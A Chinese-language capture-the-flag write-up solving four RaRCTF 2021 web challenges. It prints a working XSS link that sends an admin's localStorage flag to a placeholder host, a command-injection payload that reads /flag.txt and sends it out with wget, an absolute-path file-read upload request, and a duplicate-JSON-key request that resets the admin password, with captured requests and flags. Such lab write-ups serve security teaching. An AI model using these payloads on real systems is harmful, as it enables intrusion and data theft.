RaRCTF 2021

Web

Fancy Button Generator

Check out this cool new fancy button generator! The buttons even glow!

将给出的附件源码下载,可以很明显看出这是一个 XSS 的题目,同时使用了一个工作量证明(Proof Of Work)的验证机制。

Proof of work: https://en.wikipedia.org/wiki/Proof_of_work

题目的附件中给出了其计算方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def generate():
return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]


def verify(prefix, suffix, answer, difficulty=6):
hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()
return hash.endswith("0" * difficulty)


def solve(prefix, suffix, difficulty):
while True:
test = binascii.hexlify(os.urandom(4)).decode()
if verify(prefix, suffix, test, difficulty):
return test

因此只需要先请求获得前缀和后缀,Solve 完成之后提交数据即可获得一次发送按钮的权力。再来看 admin 是如何操作按钮的,在给出的附件中有如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
await page.evaluate(flag => {
localStorage.flag = flag;
}, process.env.FLAG);

let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link;
console.log("Going to ", url);
await page.goto(url, {
waitUntil: "networkidle2"
});
await page.click("#btn");
await page.waitForTimeout(TIMEOUT);
await page.close();
page = null;

很容易发现 admin 其实是直接点击了按钮,然后等了一下就关闭了页面。那么此时只需要对按钮进行 XSS 即可。使用 javascript:alert(1) 可以达成点击按钮后弹窗的效果。因此可以在 GET 参数 link 处进行 XSS 来尝试取出 localStorage.flag 然后发起一次对外的请求来获取 flag。构造出如下脚本来进行 XSS。

1
2
3
4
5
6
7
8
9
10
session = requests.session()
host = "https://fbg.rars.win/"
data = session.get(host + "pow").json()
solution = solve(data['pref'], data['suff'], 5)
print(f"Solved POW: {solution} with prefix {data['pref']} suffix {data['suff']}")
session.post(host + "pow", json={"answer": solution})
name = ""
link = "javascript:window.location.replace('http://HOST/?flagis-'%252BlocalStorage.getItem('flag'))"
response = session.get(host + f"admin?title={name}&link={link}")
print(response.text)

运行脚本即可在端口监听处得到如下请求数据,从而可以得到 flag。

1
2
3
4
5
6
7
8
GET /?flagis-rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f} HTTP/1.1
Host: 8.136.8.210:3255
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US
1
rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

lemonthinker

generate your lemonthinks here!

Note: All characters that look like a O are actually a 0, please try replacing all O‘s with 0‘s if you find that your flag does not work.

题目给出的源代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, request, redirect, url_for
import os
import random
import string
import time # lemonthink

clean = time.time()
app = Flask(__name__)
chars = list(string.ascii_letters + string.digits)

@app.route('/')
def main():
return open("index.html").read()

@app.route('/generate', methods=['POST'])
def upload():
global clean
if time.time() - clean > 60:
os.system("rm static/images/*")
clean = time.time()
text = request.form.getlist('text')[0]
text = text.replace("\"", "")
filename = "".join(random.choices(chars,k=8)) + ".png"
os.system(f"python3 generate.py {filename} \"{text}\"")
return redirect(url_for('static', filename='images/' + filename), code=301)

if __name__ == "__main__":
app.run("0.0.0.0",1002)

此时可以看出有一个参数可控,只需要传入 text 即可进行 RCE。构造出如下载荷读取文件 /flag.txt 并使用 wget 带出,靶机似乎没有 curl。

1
$(cat /flag.txt | xargs -I{} wget "http://HOST/?flagis-{}")

载荷发送后在监听端可以得到如下请求数据,即得到 flag。

1
2
3
4
GET /?flagis-rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf} HTTP/1.1
Host: 8.136.8.210:3255
User-Agent: Wget
Connection: close
1
rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}

Secure Uploader

A new secure, safe and smooth uploader!

题目所给出的上传和访问路由的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)

@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()

可以发现文件上传之后会生成一个 id,然后访问的时候只通过这个 id 进行文件读取。上传时文件名中不允许有 . 字符,而其他的字符通通没有处理,因此不能目录穿越读文件。再看访问的路由,使用了 os.path.join 来将文件名与路径拼接从而进行读取。在这个方法的文档中有如下一句话。

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

假设此时的 res[0] 变成了绝对路径,也就是 /flag,那么此前的所有路径就会被抛弃,进而读取到根目录下的 flag。因此构造出如下两个请求来获取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /upload HTTP/1.1
Host: 193.57.159.27:35294
Content-Length: 282
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51X6ZmnbrL0hXAYM
Connection: close

------WebKitFormBoundary51X6ZmnbrL0hXAYM
Content-Disposition: form-data; name="file"; filename="/flag"
Content-Type: image/png


------WebKitFormBoundary51X6ZmnbrL0hXAYM
Content-Disposition: form-data; name="submit"

Upload File
------WebKitFormBoundary51X6ZmnbrL0hXAYM--

1
2
3
4
5
GET /file/d129a262e4724c549cda37a51755e1bf HTTP/1.1
Host: 193.57.159.27:35294
Connection: close


在使用第一个请求获得的链接请求访问文件后可获得 flag。

1
rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}

Microservices As A Service 3

manager 中的 update 路由将 JSON 数据由 Python 传递到 Golang 的服务中处理。JSON 的解析 Golang 中使用的模块是 github.com/buger/jsonparser。稍微测一下可以发现当 JSON 键值重复的时候其将选择前者。

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

import (
"fmt"

"github.com/buger/jsonparser"
)

func main() {
str := "{\"key\": \"value1\", \"key\": \"value2\"}"
bytes_str := []byte(str)
fmt.Println(jsonparser.GetString(bytes_str, "key"))
}

上面的代码的运行结果是 value1 <nil>。而在 Python 中,当 JSON 的键值重复时其将选择后者。

1
2
3
import json
jObject = json.loads("{\"key\": \"value1\", \"key\": \"value2\"}")
print(jObject["key"])

上面的代码的运行结果是 value2。因此此时只需要让键值重复即可绕过限制修改 admin 即 id 为 0 的用户的密码。构造出如下的请求来修改 admin 的密码。

1
2
3
4
5
6
7
8
POST /manager/update HTTP/1.1
Host: maas.rars.win
Connection: close
Content-Length: 52
Content-Type: application/json
Cookie: session=eyJtYW5hZ2VyaWQiOiIxIiwibWFuYWdlcm5hbWUiOiJMZW1vblByZWZlY3QifQ.YRPO1A.PH8WHzCXnxjEwlMIUQvkfzxyuGc

{"id":0,"id":1,"password":"this_is_a_long_password"}

此时使用修改的密码再去登录 admin 账户即可得到 flag。

1
rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}